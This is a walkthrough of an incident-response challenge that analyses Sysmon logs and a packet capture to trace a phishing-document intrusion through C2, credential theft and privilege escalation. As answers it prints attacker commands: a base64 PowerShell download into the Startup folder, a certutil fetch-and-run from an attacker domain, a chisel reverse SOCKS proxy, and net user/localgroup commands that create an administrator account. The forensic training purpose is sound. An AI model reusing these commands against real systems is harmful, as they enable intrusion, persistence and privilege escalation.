Overview
In this challenge we will be analyzing Sysmon Logs and a PCAP to uncover the actions taken by a threat actor throughout several stages of the Cyber Kill Chain.
Scenario
In this incident, you will act as an Incident Responder from an alert triaged by one of your Security Operations Center analysts. The analyst has confirmed that the alert has a CRITICAL severity that needs further investigation.
As reported by the SOC analyst, the intrusion started from a malicious document. In addition, the analyst compiled the essential information generated by the alert as listed below:
- The malicious document has a .doc extension.
- The user downloaded the malicious document via chrome.exe.
- The malicious document then executed a chain of commands to attain code execution.
Getting Started
We’ll prepare by parsing the event logs with EvtxECmd.
The command syntax is EvtxECmd.exe -f <filename> --csv <output directory> --csvf <output filename>
Note: For this challenge, EvtxECmd.exe is located in C:\Tools\EvtxECmd, you will need to navigate to this path or provide the full path when executing the command
We’ll parse both logs now so that we’re ready for analysis later.

parsing Sysmon.evtx with EvtxECmd
Q1
The user of this machine was compromised by a malicious document. What is the file name of the document?
We were provided with some significant starting points in our briefing.
We were told that the malicious document has a .doc extension, was downloaded by Chrome, and executed commands. We will use this information to track down the document and start our investigation.
With the parsed Sysmon logs opened in Timeline Explorer, we can filter for file creation events originating from Chrome.
To do this, we’ll filter for the Sysmon EventID 11 and Images containing Chrome. Note: These are columns Event Id and Payload Data3 respectively.

filtering for event code 11 and Chrome
Only two events match our filters, and one of them is the Zone.Identifier for a .doc file.

.doc file in results
Answer
free_magicules.docQ2
What is the name of the compromised user and machine?
Format: username-machine name
The Username and Machine name are present in our current filtered, results.

Machine and User names
Answer
benimaru-TEMPESTQ3
What is the PID of the Microsoft Word process that opened the malicious document?
To find the PID, we will filter for EventID 1 (process creation) and filter for the executable name winword.

filtering for process creation, winword
With our filters in place, there is only one result.

Commandline of WinWord opening the malicious document
We can find the PID in the Payload Data1 column

PID
Answer
496Q4
Based on Sysmon logs, what is the IPv4 address resolved by the malicious domain used in the previous question?
Sysmon Event ID 22 logs DNS Queries. We can use this event code, in combination with the PID, to discover domains queried by the process and what the responses were.
We’ll filter for Event ID 22 and PID 496.

Filtering for EventID 22 and PID 496
The results show queries for office.com domains and a suspicious phishteam.xyz domain.

phishteam.xyz DNS query and answer
Answer
167.71.199.191Q5
What is the base64 encoded string in the malicious payload executed by the document?
We’ll pivot now and search for process creations that are the children of the Word process we discovered earlier.
To do this, we’ll set the Event ID to 1 and the parent process ID to 496.

Process creations created by the Word process
In our results, we can see one very long and obfuscated command.

obfuscated command run as a child of PID 496
Decoding the base64 reveals a command to download, extract, and remove a zip file into the startup directory.

Decoded base64 command
Answer
JGFwcD1bRW52aXJvbm1lbnRdOjpHZXRGb2xkZXJQYXRoKCdBcHBsaWNhdGlvbkRhdGEnKTtjZCAiJGFwcFxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXAiOyBpd3IgaHR0cDovL3BoaXNodGVhbS54eXovMDJkY2YwNy91cGRhdGUuemlwIC1vdXRmaWxlIHVwZGF0ZS56aXA7IEV4cGFuZC1BcmNoaXZlIC5cdXBkYXRlLnppcCAtRGVzdGluYXRpb25QYXRoIC47IHJtIHVwZGF0ZS56aXA7CgQ6
What is the CVE number of the exploit used by the attacker to achieve a remote code execution?
The malicious code is leveraging msdt.exe via a malicious document. By researching this combination we can discover the CVE in question.
Answer
2022-30190Q7
The malicious execution of the payload wrote a file on the system. What is the full target path of the payload?
We discovered the path and filename in Q6, but we can confirm it by filtering for Event ID 11 and filenames that contain zip.

filtering for file creation, zip
As expected, the zip file was created in the Startup directory.

The full file path of the malicious zip
Answer
C:\Users\benimaru\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartupQ8
The implanted payload executes once the user logs into the machine. What is the executed command upon a successful login of the compromised user?
Knowing that Autostart process execution reflects Explorer.exe as its parent process, we can filter for process creation events started by Explorer.

Filtering for processes started by Explorer.
Within the results, we can see powershell execution including the previously discovered malicious domain and another executable.

PowerShell execution downloading another malicious executable
Answer
Refang the URL for submission.
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -noni certutil -urlcache -split -f ‘hxxp[://]phishteam[.]xyz/02dcf07/first[.]exe’ C:\Users\Public\Downloads\first.exe; C:\Users\Public\Downloads\first.exe
Q9
Based on Sysmon logs, what is the SHA256 hash of the malicious binary downloaded for stage 2 execution?
We know this executable was saved in the Downloads directory as first.exe, so we’ll filter for processes containing this name.

Process Creation, containing first.exe
The results show various stages of the previously discovered command. We want the hash of the executable, so we’ll be looking at the entry that represents that event.

Stages of command execution

Hashes
Answer
CE278CA242AA2023A4FE04067B0A32FBD3CA1599746C160949868FFC7FC3D7D8Q10
The stage 2 payload downloaded establishes a connection to a c2 server. What is the domain and port used by the attacker?
With this new process discovered, we’ll pivot by using its PID to discover more about its behavior.

filtering for first.exe's PID
The results for the PID reveal multiple network connections (Event ID 3) and DNS requests (Event ID 22)
We can see the IP address resolved for these connections/queries was 167.71.222.162 and the domain was resolvecyber.xyz.
To discover the port we can use Wireshark and filter for this IP address.

Wireshark, filtered for the C2 IP
We can see that the communications are going to port 80, but we’ll check for any other ports used by going to wireshark’s Conversations statistics. Note: Be sure to check the “Limit to display filter” box.

Ports used
We can see that the communications were on port 80 and 8080, but for now, we’re only concerned with port 80.
We could further confirm that it is port 80 by comparing the timestamps of execution to the timestamps of the packets.

Comparing timestamps
Answer
resolvecyber.xyz:80Q11
What is the URL of the malicious payload embedded in the document?
We can determine this by finding the first URL, hosted by the malicious domain, that was accessed by the victim.
To do this we’ll filter wireshark for GET requests to the phisteam.xyz domain.
We can specify the host with the filter http.host == <site.tld>

Filtering Wireshark for GET requests to phisteam.xyz
We can see the first request to download the malicious document followed by a request to index.html.
Answer
Refang the URL for submission.
hxxp[://]phishteam[.]xyz/02dcf07/index[.]html
Q12
What is the encoding used by the attacker on the c2 connection?
Analyzing the C2 Traffic, it appears that the C2 traffic is being sent through GET requests to the malicious web server.

A GET request from the victim machine to the malicious server
The requests appear to be base64 encoded, so we’ll try decoding one of them in CyberChef to see what we uncover.

Decoded GET request
And, with the help of CyberChef, we’ve confirmed that the requests are encoded in Base64.
Answer
base64Q13
The malicious c2 binary sends a payload using a parameter that contains the executed command results. What is the parameter used by the binary?
Analyzing the GET requests, we can see that the Base64 is set as a value to the variable “q”.

Answer
qQ14
The malicious c2 binary connects to a specific URL to get the command to be executed. What is the URL used by the binary?
We’ve seen that the GET requests are going to the /9ab62b5 endpoint. We can ensure this conclusion by filtering Wireshark to only show us GET requests.

GET requests to the endpoint
Answer
/9ab62b5Q15
What is the HTTP method used by the binary?
We’ve already discovered this in the previous questions.
Answer
GETQ16
Based on the user agent, what programming language was used by the attacker to compile the binary?
We can check the user-agent in Wireshark.

User-agent set in one of the many GET requests
Answer
nimQ17
The attacker was able to discover a sensitive file inside the machine of the user. What is the password discovered on the aforementioned file?
We can filter Wireshark for frames containing command output from the victim by using frame contains “?q=".

Wireshark filtered for only command results.
Decoding the various requests reveals numerous activities by the attacker. One of them, however, shows the contents of an automation script that contains the user’s password.

Automation script, containing user credentials
Answer
infernotempestQ18
The attacker then enumerated the list of listening ports inside the machine. What is the listening port that could provide a remote shell inside the machine?
Among the commands decoded from the packet capture is a netstat command.
This command lists multiple open ports.

Netstat command listing ports
Research shows that port 5985 can be abused as a remote shell.
Answer
5985Q19
The attacker then established a reverse socks proxy to access the internal services hosted inside the machine. What is the command executed by the attacker to establish the connection?
Another command discovered within the C2 traffic downloaded an executable named ch.exe.

PowerShell command to download a file named ch.exe
We’ll pivot and search our Sysmon logs for any process execution including this executable.

Filtering for process creation and ch.exe
There are only two results for this query, and one clearly shows a socks connection.

ch.exe opening a reverse socks proxy
Answer
C:\Users\benimaru\Downloads\ch.exe client 167.71.199.191:8080 R:socksQ20
What is the SHA256 hash of the binary used by the attacker to establish the reverse socks proxy connection?
We can locate the hashes of the executable within the current Timeline Explorer results.
Answer
8A99353662CCAE117D2BB22EFD8C43D7169060450BE413AF763E8AD7522D2451Q21
What is the name of the tool used by the attacker based on the SHA256 hash? Provide the answer in lowercase.
A quick search on VirusTotal reveals the executable is chisel.exe.

VirusTotal results
Answer
chiselQ22
The attacker then used the harvested credentials from the machine. Based on the succeeding process after the execution of the socks proxy, what service did the attacker use to authenticate?
We can check for process creation events occurring after the ch.exe began the socks proxy.
The command that immediately follows ch.exe is wsmprovhost.exe.

Commands following ch.exe
A little bit of research shows that this service uses WinRM for authentication. This result is in line with our previous research into port 5985.
Answer
winrmQ23
After discovering the privileges of the current user, the attacker then downloaded another binary to be used for privilege escalation. What is the name and the SHA256 hash of the binary?
Filtering for file creation events that took place around the time of the reverse socks proxy, we see an executable created in the Downloads directory.

Suspicious executable
Filtering for the process creations containing the executable name shows us that this binary was used to execute another file named final.exe.

spf.exe execution
We can find the hashes within these results.
Answer
spf.exe,8524FBC0D73E711E69D60C64F1F1B7BEF35C986705880643DD4D5E17779E586DQ24
Based on the SHA256 hash of the binary, what is the name of the tool used?
We can search this hash on VirusTotal and find the real name of the binary.
Answer
printspooferQ25
The tool exploits a specific privilege owned by the user. What is the name of the privilege?
Researching this executable explains how this tool works. https://github.com/itm4n/PrintSpoofer
Answer
SeImpersonatePrivilegeQ26
Then, the attacker executed the tool with another binary to establish a c2 connection. What is the name of the binary?
We already discovered this execution in Q23.
Answer
final.exeQ27
The binary connects to a different port from the first c2 connection. What is the port used?
We discovered this earlier when first analyzing the PCAP.
Answer
8080Q28
Upon achieving SYSTEM access, the attacker then created two users. What are the account names?
We know the attacker has SYSTEM access and that the final stage of their malware is named final.exe.
Using this information we will filter Timeline Explorer to see relevant command execution.

Filtering for process creations by the SYSTEM user, with the final.exe executable as its parent

Command execution by final.exe
We can see in the filtered results that two users were created, shion and shuna
Answer
shion,shunaQ29
Prior to the successful creation of the accounts, the attacker executed commands that failed in the creation attempt. What is the missing option that made the attempt fail?
Looking through the results we see that the attacker forgot the /add switch in the net user commands.

failed commands
Answer
/addQ30
Based on windows event logs, the accounts were successfully created. What is the event ID that indicates the account creation activity?
A quick check on Windows Event IDs can get us the answer to this one.
One useful resource for checking the meaning of IDs and their various field is https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/
Answer
4720Q31
The attacker added one of the accounts in the local administrator’s group. What is the command used by the attacker?
The command is within the filtered output we’ve been analyzing.
Answer
net localgroup administrators /add shionQ32
Based on windows event logs, the account was successfully added to a sensitive group. What is the event ID that indicates the addition to a sensitive local group?
We can get this by reading about Windows Event IDs at https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/
Answer
4732Q33
After the account creation, the attacker executed a technique to establish persistent administrative access. What is the command executed by the attacker to achieve this?
This command is within the filtered output we’ve been analyzing.